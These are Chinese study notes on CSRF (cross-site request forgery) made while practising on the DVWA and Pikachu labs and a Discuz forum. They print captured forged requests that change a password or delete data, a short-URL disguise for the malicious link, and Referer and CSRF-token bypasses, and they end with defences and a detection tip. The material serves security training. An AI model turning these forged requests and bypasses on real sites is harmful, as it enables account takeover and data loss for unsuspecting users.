13.CSRF漏洞
CSRF漏洞
CSRF(Cross-Site Request Forgery,跨站请求伪造)攻击者诱导用户在已登录目标网站的浏览器中,不知情地执行非自愿的操作,从而冒充用户发起恶意请求。
简单理解:用户已登录 A 站 → 点开恶意页面 B → B 自动向 A 站发请求 → A 站以为是用户本人操作 → 执行转账、改密、删帖等操作
二、核心原理
用户正常登录目标网站,浏览器保存Cookie/Session
用户访问攻击者构造的恶意页面
恶意页面自动向目标网站发送请求(表单 / 链接 / 图片 / JS)
浏览器自动携带目标站 Cookie发出请求
目标站校验 Cookie 有效,执行操作,完成攻击
关键点:
浏览器同源策略不阻止跨站携带 Cookie
服务端只认 Cookie,无法区分请求是用户主动点的,还是恶意页面自动发的
三、典型攻击场景
修改账号密码、邮箱
转账、充值、支付
发表 / 删除帖子、评论
关注、取关、加好友
更改权限、添加管理员
自解压文件完成csrf攻击删除数据
解压文件实现在用户已经登录过网站 浏览器存储cookie 的情况下删除数据
删除数据 其实就是发起一个网络请求 GET /pikachu-master/vul/overpermission/op2/op2_admin.php?id=31 HTTP/1.1
删除id=31的数据



GET /pikachu-master/vul/overpermission/op2/op2_admin.php?id=31 HTTP/1.1
Host: 192.168.152.129:98
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.152.129:98/pikachu-master/vul/overpermission/op2/op2_admin.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=hvc92ntrir2euh9cgfvdp08s54; security=low
Connection: keep-alive
创建自解压文件



搭建discuz论坛项目
https://www.discuz.vip/download
csrf修改admin用户备份数据目录
discuz x1.5版本
admin用户在备份数据时 我们可以通过抓包发现 这个操作实际上是向服务器发送请求
那么 攻击者有没有办法让admin用户在不知情的情况下备份 并且修改备份目录呢




拿到请求内容 发个帖子 网络图片 在admin登录情况下 admin查看帖子 就会自动发送请求了
csrf基于post请求添加管理员账号
原理:登录情况下 网站记录cookie 发送post请求 添加账号
csrf修改密码
GET /DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1
Host: 192.168.152.129:98
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.152.129:98/DVWA/vulnerabilities/csrf/
Accept-Encoding: gzip, deflate, br
Cookie: JCmT_2132_lastvisit=1776225763; JCmT_2132_ulastactivity=db25JJ9ptUdEbWXooBSzShgPMpU95a4x6olKOAcBsy%2FYBf8VU5re; PHPSESSID=nrdmem116s27s98mkbl25g9sa4; security=low
Connection: keep-alive
建一个网站诱导用户点击连接 发送请求 需要浏览器记录cookie
http://192.168.152.129:98/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change
url短链接
短链接(Short URL) 是一种将冗长的原始网址(如:
https://www.example.com/article?id=123456&category=tech&source=baidu )
通过技术手段压缩成极短字符的链接形式(如: http://quma.cn/xxxxx )。
核心本质:短链本身不是独立网址,而是跳转中转站——用户点击后,浏览器会通过服务器重定向到真实的长地址。
短链接如何工作?——三步跳转机制
生成阶段:
用户将长链接输入短链生成平台(如百度、新浪等提供的服务);
平台通过算法(如哈希函数)生成唯一短代码(如 AbC1),绑定原始网址;
返回完整短链(如 dwz.cn/AbC1)。
访问阶段:
用户点击短链 dwz.cn/AbC1;
短链平台服务器接收请求,解析代码 AbC1 对应的原始长地址。
跳转阶段:
服务器返回 HTTP 重定向指令(状态码301或302);
浏览器自动跳转到真实的长链接页面。
http://192.168.152.129:98/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change
====>
https://l00.xyz/QXQny
referer
Referer 是一个 HTTP 请求头字段,它告诉服务器当前请求是从哪个网页链接过来的。它的主要作用包括:
识别访问来源:服务器可以通过 Referer 字段识别用户是从哪个页面进入的。
日志记录和流量分析:用于统计分析和优化缓存。
防止盗链:可以防止其他网站直接链接到你的资源。
安全检查:用于检测恶意请求。
Referer 字段在网络请求中具有重要的应用价值
referer绕过
GET /DVWA/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
Host: 192.168.152.129:98
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.152.129:98/1.html
Accept-Encoding: gzip, deflate, br
Cookie: JCmT_2132_lastvisit=1776225763; JCmT_2132_ulastactivity=db25JJ9ptUdEbWXooBSzShgPMpU95a4x6olKOAcBsy%2FYBf8VU5re; PHPSESSID=nrdmem116s27s98mkbl25g9sa4; security=medium
Connection: keep-alive
Host Referer 同一域名?


csrf token绕过
GET /DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=d86c2a4dda81ecb31d4386beafa07944 HTTP/1.1
Host: 192.168.152.129:98
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.152.129:98/DVWA/vulnerabilities/csrf/
Accept-Encoding: gzip, deflate, br
Cookie: JCmT_2132_lastvisit=1776225763; JCmT_2132_ulastactivity=db25JJ9ptUdEbWXooBSzShgPMpU95a4x6olKOAcBsy%2FYBf8VU5re; PHPSESSID=sl117m9f6q1mevl8vgoo2ma1be; security=high
Connection: keep-alive
burpsuite v2022.3.9版本 bappsotre 直接下载插件 csrf token tracker


csrf token 防御
1.验证FTTP referer
2.请求中携带token
3.验证码
4.修改密码前要求原密码
csrf tester 使用
xss和csrf利用

csrf的检测 去掉referer 放包 如果提交有效 有csrf漏洞 没有判断referer

浙公网安备 33010602011771号